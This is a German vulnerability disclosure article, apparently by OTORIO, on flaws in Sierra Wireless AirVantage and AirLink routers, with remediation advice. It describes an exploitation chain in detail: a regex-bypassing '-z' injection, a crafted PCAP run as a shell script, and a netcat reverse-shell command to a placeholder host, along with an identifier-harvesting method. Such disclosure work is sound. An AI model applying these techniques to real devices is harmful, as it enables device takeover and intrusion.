Forscherdes OT-Sicherheitsexperten OTORIO enthüllen Details zu 4 Schwachstellen in der cloud-basierten Management-Plattform “AirVantage” und den Routern der AirLink-Serie von Sierra Wireless. Das Forschungs-Whitepaper ist Teil eines umfassenden Projekts zur Bewertung des Risikos externer Angriffe auf Betriebssystem-Netzwerke durch cloud-basierte Management-Plattformen, die von Anbietern für IoT-Umgebungen bei Unternehmen auf den Markt gebracht werden.
ICS-CERT (CISA) hat zwei Ratgeber veröffentlicht, zu denen sich Hinweise unter dem Abschnitt “Abhilfe” am Ende des Artikels finden. Die wichtigste Entdeckung in diesem Zusammenhang könnte es Angreifern ermöglichen, die Seriennummer und IMEI aller verwendeten Router zu erlangen. Diese könnten dann dazu benützt werden, um nicht registrierte, mit der Cloud verbundene Router zu übernehmen. Die Schwachstellen wurden in Abstimmung mit der CISA und Sierra Wireless und in eigener Verantwortung offengelegt und anschließend entschärft.
Hintergrund zu Sierra Wireless und der “AirVantage”-Plattform
Sierra Wireless, ein Unternehmen der Semtech-Gruppe (NASDAQ: SMTC), ist ein multinational aufgestellter Hersteller von drahtlosen Kommunikationsgeräten und ein führender Anbieter von Verbindungsangeboten für systemkritische Infrastrukturen. Er hat sich besonders auf die Entwicklung von netzgestützten, drahtlosen Technologien und Lösungen einschließlich Modulen, Gateways, Routern und Software-Plattformen spezialisiert. Das Unternehmen bietet drahtlose Connectivity-Lösungen für verschiedene Branchen an, darunter die Automobil-, Transport-, Energie-, Gesundheits-, Industrie- und Unternehmensindustrien. Seine Produkte ermöglichen es Unternehmen, ihre Geräte und Anlagen drahtlos zu verbinden und zu verwalten, wodurch Anwendungen wie Machine-to-Machine(M2M)-Kommunikation, Connectivity für IoT-Umgebungen (Internet of Things) und mobiles Breitband ermöglicht werden.
AirVantage bietet eine cloud-basierte IoT-Plattform an, die von Sierra Wireless entwickelt wurde. Es handelt sich um eine umfassende Management-Plattform für Unternehmen, um ihre IoT-Geräte und -Anwendungen sicher zu verbinden, zu überwachen und zu kontrollieren. AirVantage stellt einen zentralen Drehpunkt für die Verwaltung von IoT-Installationen dar, wobei Funktionen wie Geräte-Onboarding, Konfigurations-Management, Echtzeitüberwachung, Datenvisualisierung, Ferndiagnose und Over-the-Air (OTA)-Firmware-Updates unterstützt werden. Die Plattform ermöglicht Anwendern, umfangreiche IoT-Installationen effizient zu verwalten.
Während der Recherche-Arbeiten konzentrierte sich das Team von OTORIO auf das Modell RV50X, einen robusten Mobilfunk-Router, der für zuverlässige drahtlose Verbindungen in rauen Umgebungen entwickelt wurde. Er unterstützt LTE-Connectivity von 4G sowie fortgeschrittene Funktionen für Sicherheit und Fernverwaltung.
RV50X ist ein besonderes Modell der AirLink-Serie von Mobilfunk-Routern und -Gateways von Sierra Wireless, die für Industrie- und Unternehmensanwendungen entwickelt wurden. AirLink-Geräte können über die AirVantage-Plattform aus der Ferne überwacht und verwaltet werden.
Unregistrierte Geräteübernahme (CVE-2023-31279)
Der Prozess der Registrierung von Anlagen dient als erste Stufe für die Fernverwaltung von IIoT-Geräten, die mit der Cloud verbunden sind. Um die Fernverwaltung von Geräten über die Cloud zu erleichtern, müssen Gerätebesitzer ihre Geräte auf der Cloud-Plattform registrieren und ein bestimmtes Gerät mit ihrem Konto bei der Cloud-Plattform verknüpfen.
Bei der Analyse von Registrierungsprozessen der Geräte in verschiedenen industriellen Management-Lösungen von IoT-Clouds konnte ein besorgniserregender Trend beobachtet werden. In der Regel sind für die Registrierung eines mit der Cloud verbundenen Geräts in einem Benutzerkonto nur zwei, oft „nicht-geheime” Identifikatoren erforderlich, die üblicherweise auf dem Gerät selbst angegeben sind wie zum Beispiel die Seriennummer und die IMEI bei AirVantage.
Die Geräte sind oft vorkonfiguriert, um sich standardmäßig mit dem Cloud-Server zu verbinden, womit zusätzlichen Aktionen oder eine Gerätefreigabe entfallen, um das Gerät bei einem bestimmten Konto zu registrieren. Diese Standardkonfiguration stellt jedoch eine Schwachstelle dar, da Geräte auch dann übernommen werden können, selbst wenn die Anwender nicht aktiv irgendwelche Cloud-Funktionen konfiguriert haben.
Sobald ein Angreifer ein IIoT-Gerät erfolgreich registriert hat, erlangt er umfassende Kontrolle über das Gerät und kann die Funktionen der Cloud-Plattform zur Steuerung des Geräts für seine eigenen Zwecke verwenden.
Der Prozess der Übernahme nicht-registrierter Geräte umfasst in der Regel drei Schritte:
- Sammeln der notwendigen Identifikatoren (wie zum Beispiel Seriennummer, MAC-Adresse oder IMEI);
- Registrieren des Geräts im Konto des Angreifers über den Standardprozess für die Registrierung und
- Verwenden von Cloud-Funktionen, um das kompromittierte Gerät aus der Ferne zu steuern.
Während des Untersuchungsvorgangs sind mehrere Methoden ermittelt worden, mit denen die erforderlichen Informationen beschafft werden können. Mithilfe einer Suchmaschine wie zum Beispiel der von Shodan.io und ihrer API ist ein Python-Skript entwickelt worden, mit dem man im Internet nach industriellen Mobilfunk-Routern und -Gateways von Sierra Wireless suchen kann, die SNMP-Services im Internet anbieten.
Mit diesem Skript kann man relevante IP-Adressen finden und auf diese Weise die Seriennummer und die IMEI-Angaben mit SNMP ausfindig machen. Durch die Abfrage der Seriennummern und IMEI-Objektidentifikatoren in SNMP war es möglich, auf die Registrierungsangaben für Tausende von Geräten auf der cloud-basierten Verwaltungsplattform AirVantage von Sierra Wireless zuzugreifen.
Offenlegung sensibler Informationen (CVE-2023-31280)
Die Webseite zur Garantieprüfung bei Sierra Wireless bietet eine Funktion zur Kontrolle des Garantiestatus von Routern durch Eingabe der Seriennummer oder der IMEI. In diesem System besteht jedoch ein erhebliches Problem, da bei der Eingabe einer gültigen Kennangabe versehentlich das entsprechende Gegenstück offengelegt wird. Diese Schwachstelle wurde ausgenutzt, indem die Fähigkeit der Web-Seite verwendet wurde, eine Datei mit einer Liste von Kennungen zur Stapelprüfung (batch checking) hochzuladen. Durch Hochladen einer Liste von IMEIs in aufsteigender Reihenfolge, beginnend mit der IMEI des eigenen Labor-Routers, konnten die entsprechenden Seriennummern ermittelt werden, die für die gültigen IMEIs in der Liste vorhanden sind.
Mithilfe dieser Technik konnte man erfolgreich Paare von IMEI-Seriennummern für fast alle industriellen Mobilfunk-Router von Sierra Wireless erhalten. Da diese genauen Angaben den erforderlichen Identifikatoren für die Geräteregistrierung auf der “AirVantage”-Cloud-Plattform von Sierra Wireless entsprechen, könnte ein Angreifer möglicherweise die Kontrolle über alle nicht registrierten Router übernehmen, die mit der Cloud verbunden sind. Diese Sicherheitslücke (CVE-2023-31280) wurde dem Security Team von Sierra Wireless weitergeleitet, das dann umgehend das Problem adressiert und es auch gelöst hat.
Sicherheitslücken in “AirLink”-Routern
Entfernte Code-Ausführung (CVE-2022-46649)
Ein Anwender mit gültigen Zugangsdaten für den ACEManager (lokaler Web-Service von AirLink-Routern) und Zugriff auf die ACEManager-Schnittstelle kann die IP-Protokollierung manipulieren, um beliebige Shell-Befehle auf dem Gerät auszuführen.
Eine Schwachstelle im Web-Service des ACEManager erlaubt das Einschleusen von Befehlen durch unsachgemäße Handhabung des “-z”-Flags (verantwortlich für die Bereitstellung eines Postrotate-Befehls an tcpdump) in Anfragen an /cgi-bin/iplogging.cgi.
Diese Sicherheitslücke basiert auf einer Umleitung eines Patches, das von Sierra Wireless im April 2019 veröffentlicht wurde und den von Talos gemeldeten Fehler CVE-2018-4061 behebt .
Der Patch für die ursprüngliche Sicherheitsproblematik adressierte das “-z”-Flag des tcpdump-Befehls, der in der Web-Oberfläche des ACEManager unterstützt wird.
Wie im Screenshot oben zu sehen ist, entfernt der reguläre Ausdruck jedes “-z”-Flag (das für den Postrotate-Befehl steht), solange ein Leerzeichen, ein Tabulator, ein Seitenvorschub oder ein vertikaler Tabulator dahinter steht, wie in “tcpdump -z reboot”, das zuvor verwendet wurde, um dieselbe Schnittstelle über CVE-2018-4061 auszunutzen.
Dieses Ergebnis muss jedoch überarbeitet werden, da es möglich ist, den Befehl ohne jeden Zwischenraum einzufügen. Zum Beispiel umgeht “-zreboot” leicht den fast 3 Jahre alten Patch für die zuvor entdeckte CVE.
Das Senden der folgenden POST-Anfrage führt zu einem erfolgreichen Neustart des Geräts.
Das Ausführen einer beliebigen Binärdatei auf dem System zeigt ein Problem, das behoben werden sollte. Dennoch kann diese Schwachstelle ohne zusätzliche Arbeit nur eine begrenzte Befehlsausführung auf dem Zielrechner ermöglichen.
Wenn man sich den Quellcode von tcpdump ansieht, wird die Binärdatei -z mit `execlp(any_binary, filename)` ausgeführt. In unserem Fall ist der Dateiname fest auf “/tmp/iplogging.pcap” eingefügt, was auf die vorhandenen Binärdateien auf dem Rechner beschränkt ist und keine benutzergesteuerten Parameter zulässt. Dies führt im Resultat zu einer zusätzlichen Komplexität, um eine Remote-Shell auf dem Rechner zu erreichen.
Um diese Einschränkung zu umgehen, gibt es eine Lösung, bei der man manipulierte Daten in die Datei “/tmp/iplogging.pcap” einfügt, wodurch die Datei sowohl zu einem gültigen PCAP- als auch zu einem gültigen Shell-Skript wird, zusammen mit “sh” als Post-Rotationsbefehl.
Die Daten können in die PCAP-Zieldatei eingefügt werden, indem sie direkt an die entsprechende Schnittstelle übertragen werden. Da jedoch eine andere Kommunikation auf der Schnittstelle Probleme verursachen könnte, besteht eine alternative Lösung darin, die Seite “/cgi-bin/iplogging_upload.cgi” zu verwenden.
Und hier folgt, wie es gemacht wurde:
- Erstellen einer bösartigen PCAP: Die Datei muss a) die Validierung von tcpdump bestehen, b) ein gültiges und funktionsfähiges Shell-Skript und c) groß genug sein, um die Rotationslogik von tcpdump auszulösen (über 1 Megabyte). Glücklicherweise überspringt /bin/sh ungültige Zeilen, solange sie keine Sonderzeichen enthalten, so dass es durchaus machbar ist. Die Datei wurde erfolgreich mit “scapy” erzeugt, wobei darauf geachtet wurde, die sh-Befehle zwischen Zeilenumbrüchen einzufügen, Nullen zu vermeiden, einige zufällige Daten einzufügen, um den Umfang von 1 Megabyte zu erreichen, und am Ende in das PCAPNG-Format zu konvertieren.
- Hochladen der bösartigen PCAP-Datei: Mit “iplogging_upload.cgi” kann man die bösartige PCAP-Datei hochladen, die in dem festen Pfad gespeichert wird: “/tmp/iplogging_params.tcp”.
Ausführen des tcpdump-Befehls: Es wurde die Seite “iplogging.cgi” verwendet, um den tcpdump-Befehl mit den folgenden Flags auszuführen:
- “-r /tmp/iplogging_params.tcp”: Veranlasst tcpdump, den eingehenden Datenverkehr von unserer bösartigen PCAP-Datei statt von der Ethernet-Schnittstelle zu lesen.
- “-w /tmp/iplogging.pcap”: Wird automatisch vom ACEManager hinzugefügt und veranlasst tcpdump, den eingehenden Datenverkehr (die PCAP-Datei) in die vordefinierte Datei zu schreiben, die nicht der eigenen Kontrolle unterliegt.
- “-zsh”: Man setzt den “post rotate command” als sh. Dies bewirkt, dass /bin/sh mit dem Parameter “/tmp/iplogging.pcap” jedes Mal ausgeführt wird, wenn die PCAP-Rotation stattfindet.
- “-C 1”: Legt fest, dass eine Rotation bei jedem Datenverkehr von 1 Megabyte durchgeführt wird.
In dieser Phase liest das tcpdump-Programm die erstellte PCAP-Datei (“/tmp/iplogging_params.tcp”) und schreibt sie in die vordefinierte Ausgabedatei (“/tmp/iplogging.pcap”). Sobald das erste Megabyte an Daten erreicht ist, wird /bin/sh mit einem einzigen Parameter ausgeführt, nämlich einer 1 Megabyte großen Datei, die die Daten aus dem manipulierten PCAP enthält und nun in “/tmp/iplogging.pcap” gespeichert ist. /bin/sh wertet die Datei Zeile für Zeile aus, ignoriert den PCAP-Header als “schlechte Zeilen” und fährt mit dem Reverse-Shell-Befehl fort, der als separate Zeile eingebettet ist: “nohup nc {IP} {PORT} -e /bin/sh &”.
Offenlegung sensibler Informationen (CVE-2022-46650)
Ein Benutzer mit gültigen Anmeldeinformationen für ACEManager und Zugriff auf die Schnittstelle von ACEManager kann das Gerät so umkonfigurieren, dass die Anmeldeinformationen von ACEManager auf der Statusseite vor der Anmeldung angezeigt werden. Dies führt zu einer dauerhaften Hintertür zum System und zur Offenlegung des Admin-Passworts im Klartext.
Die ausführbare Datei Embedded_Ace_Set_Task.cgi ermöglicht die Änderung von Konfigurationswerten innerhalb des Konfigurationsmanagers. Ein Angreifer könnte dies ausnutzen, indem er den Konfigurationsparameter “Device Status Screen” (55052) aktiviert und den Passwort-Parameter (5003) zur Liste der Parameter hinzufügt, die auf der Pre-Login-Seite (55053) angezeigt werden.
Das führt zu dem Resultat, dass das Passwort auf der Seite vor der Anmeldung sichtbar wird.
Abhilfe
OTORIO hat diese Schwachstellen verantwortungsvoll gegenüber Sierra Wireless und CISA offengelegt. Die entsprechenden Hinweise der beiden Organisationen finden sich hier:
- SWI-PSA-2023-001: AirLink – ALEOS Security Advisory: https://source.sierrawireless.com/resources/security-bulletins/sierra-wireless-technical-bulletin—swi-psa-2023-001/
- SWI-PSA-2023-002: AirVantage Security Advisory: https://source.sierrawireless.com/resources/security-bulletins/sierra-wireless-technical-bulletin—swi-psa-2023-002/#sthash.cHiM5M6W.dpbs
- Fehler! Linkreferenz ungültig.: www.cisa.gov/news-events/ics-advisories/icsa-23-026-04
- Fehler! Linkreferenz ungültig.: www.cisa.gov/news-events/ics-advisories/icsa-23-131-07
Sierra Wireless hat aktualisierte Firmware veröffentlicht, um diese Sicherheitslücken zu schließen. Benutzer werden dringend gebeten, ein Update ihrer Geräte vorzunehmen, den Zugriff auf die Web-Oberfläche einzuschränken und sichere Anmeldedaten zu verwenden. Geräte, die mit dem WAN verbunden sind, gelten als besonders gefährdet, und es werden deshalb sofortige Maßnahmen empfohlen, um dieses Risiko zu verringern.
Darüber hinaus hat Sierra Wireless den AirVantage Warranty Checker aktualisiert, so dass er neben dem Garantiestatus nicht mehr die IMEI- und Seriennummer zurückgibt. Um die Möglichkeit einer Übernahme des Geräts zu verhindern, sollte man den Management Service von AirVantage auf dem Router deaktivieren, sobald diese Funktion nicht verwendet wird.
OTORIO weiß die professionelle Art und Weise, in der Sierra Wireless die Schwachstellen bereinigt hat, sowie die Koordination mit der U.S. Cybersecurity and Infrastructure Security Agency (CISA) zu schätzen.
www.otorio.com/de